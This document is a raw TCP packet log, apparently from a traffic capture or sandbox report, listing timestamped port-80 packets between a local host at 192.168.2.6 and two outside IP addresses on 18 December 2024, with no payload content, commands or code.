Dec 18, 2024 11:47:30.232665062 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.232690096 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.232708931 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.233309984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.233351946 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.235024929 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.235043049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.235074043 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.235084057 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.235172033 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.235213041 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.235222101 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.235260010 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.235428095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.235467911 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.235532045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.235573053 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.236283064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.236349106 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.236360073 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.236377001 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.236397028 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.236862898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.236876965 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.236888885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.236906052 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.236929893 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.237652063 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.237663984 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.237674952 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.237695932 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.237719059 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.238626957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.238641024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.238652945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.238672972 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.238692045 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.239459991 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.239474058 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.239500999 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.239531994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.400907993 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.400923014 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.400934935 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.400998116 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.401034117 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.401223898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.401236057 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.401249886 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.401268959 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.401282072 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.401865005 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.401900053 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.401911020 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.401920080 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.401957035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.402812004 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.402865887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.403076887 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.403088093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.403126001 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.403657913 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.403712988 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.403773069 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.403783083 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.403815031 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.403832912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.404316902 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.404377937 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.404391050 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.404402018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.404432058 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.404799938 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.404810905 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.404818058 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.405191898 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.405508995 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.405522108 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.405549049 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.405581951 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.405606985 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.405648947 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.406532049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.406544924 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.406557083 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.406577110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.406599998 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.407650948 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.407707930 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.407737970 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.407749891 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.407784939 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.408361912 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.408375025 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.408386946 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.408418894 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.408457041 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.409132957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.409145117 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.409157038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.409187078 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.409214020 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.409821033 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.409832954 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.409845114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.409878016 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.409909010 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.410459042 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.410471916 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.410481930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.410514116 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.410538912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.411241055 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.411253929 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.411266088 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.411293983 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.411308050 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.412062883 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.412075043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.412112951 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.412138939 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.412355900 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.412368059 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.412379026 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.412411928 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.412549973 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:32.662244081 CET	49833	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:32.662750959 CET	49855	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:32.784439087 CET	80	49833	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:32.784521103 CET	49833	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:32.785401106 CET	80	49855	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:32.785505056 CET	49855	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:32.785681963 CET	49855	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:32.905461073 CET	80	49855	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:34.121493101 CET	80	49855	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:34.121562004 CET	49855	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:34.122904062 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:34.122968912 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:34.242405891 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:34.242835045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:34.242938995 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:34.242991924 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:34.243125916 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:34.362957001 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564080954 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564110041 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564121962 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564160109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.564197063 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.564208031 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564220905 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564232111 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564249039 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.564268112 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.564356089 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564368010 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564378977 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564393044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.564400911 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.564416885 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.564445019 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.683933020 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.683962107 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.684026957 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.755192041 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.755244017 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.755350113 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.755389929 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.759362936 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.759407997 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.759458065 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.759494066 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.767800093 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.767854929 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.767889977 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.767929077 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.776274920 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.776333094 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.776731968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.776778936 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.784616947 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.784663916 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.784698009 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.784734011 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.793083906 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.793145895 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.793154001 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.793199062 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.801362038 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.801389933 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.801409960 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.801459074 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.809892893 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.809947014 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.809999943 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.810034990 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.818367004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.818386078 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.818416119 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.818444967 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.826854944 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.826901913 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.826920033 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.826965094 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.834316969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.834353924 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.834399939 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.834399939 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.946211100 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.946273088 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.946316004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.946679115 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.950151920 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.950167894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.950251102 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.950283051 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.957715034 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.957818985 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.957849026 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.957878113 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.965286016 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.965431929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.965461016 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.965578079 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.970298052 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.970351934 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.970366955 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.970479965 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.975087881 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.975200891 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.975271940 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.979876041 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.979999065 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.980022907 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.980089903 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.984663010 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.984760046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.984778881 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.984801054 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.989506006 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.989571095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.989592075 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.989615917 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.994286060 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.994354963 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.994436979 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.994477987 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:35.999038935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:35.999165058 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.000914097 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.003772020 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.003878117 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.003900051 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.003917933 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.008630991 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.008706093 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.008706093 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.008743048 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.013375044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.013461113 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.013505936 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.013516903 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.018204927 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.018296003 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.018321991 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.018347025 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.022939920 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.023112059 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.023163080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.027715921 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.027792931 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.027822018 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.027905941 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.032517910 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.032604933 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.032630920 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.032644987 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.137244940 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.137340069 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.137387037 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.137502909 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.138582945 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.138708115 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.138757944 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.142986059 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.143079996 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.143112898 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.143210888 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.147435904 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.147490978 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.147547960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.147588968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.151849985 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.151864052 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.151976109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.155961037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.156013012 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.156063080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.159904957 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.159953117 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.159966946 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.161252975 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.163866043 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.163952112 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.163976908 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.163991928 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.167798996 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.167850018 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.167912006 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.171575069 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.171624899 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.171665907 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.171725988 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.175443888 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.175582886 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.175637960 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.179385900 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.179442883 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.179476023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.180819988 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.183141947 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.183307886 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.183391094 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.183455944 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.187037945 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.187096119 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.187242985 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.187278986 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.190845966 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.190892935 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.190953970 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.191066027 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.194686890 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.194732904 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.194823980 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.194951057 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.198574066 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.198587894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.198743105 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.202419043 CET	80	49859	31.41.244.11	192.168.2.6
